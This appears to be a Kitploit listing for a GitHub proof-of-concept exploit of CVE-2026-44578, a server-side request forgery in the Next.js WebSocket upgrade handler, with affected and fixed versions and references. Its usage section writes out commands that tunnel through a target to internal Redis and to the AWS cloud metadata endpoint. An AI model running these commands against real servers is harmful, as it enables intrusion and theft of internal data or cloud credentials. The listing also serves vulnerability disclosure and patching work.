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CVE-2026-44578-PoC — Proof-of-concept exploit for CVE-2026-44578, a Server-Side Request Forgery in Next.js WebSocket upgrade handler. Includes detection mode and tunneling to internal services like Redis or cloud metadata endpoints. | Kitploit
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GitHubtocong282/cve-2026-44578-poc

CVE-2026-44578-PoC

Proof-of-concept exploit for CVE-2026-44578, a Server-Side Request Forgery in Next.js WebSocket upgrade handler. Includes detection mode and tunneling to internal services like Redis or cloud metadata endpoints.

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353 months agoNot yet reviewed

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CVE-2026-44578 - Next.js WebSocket SSRF PoC

Vulnerability: Server-Side Request Forgery in Next.js WebSocket upgrade handler (13.4.13 → 15.5.15, 16.0.0 → 16.1.6)

Usage

root@kitploit:~
# Detect vulnerability
python3 poc.py target.com:3000 --detect

# Tunnel to internal Redis
python3 poc.py target.com:3000 --internal 127.0.0.1:6379 --payload "INFO\r\n"

# Tunnel to AWS metadata
python3 poc.py target.com:3000 --internal 169.254.169.254:80 --payload "GET /latest/meta-data/ HTTP/1.0\r\n\r\n"

Fix

Upgrade to Next.js 15.5.16 or 16.2.5

References

  • https://hadrian.io/blog/next-js-websocket-ssrf-unauthenticated-access-to-internal-resources-cve-2026-44578-2
  • GHSA-c4j6-fc7j-m34r
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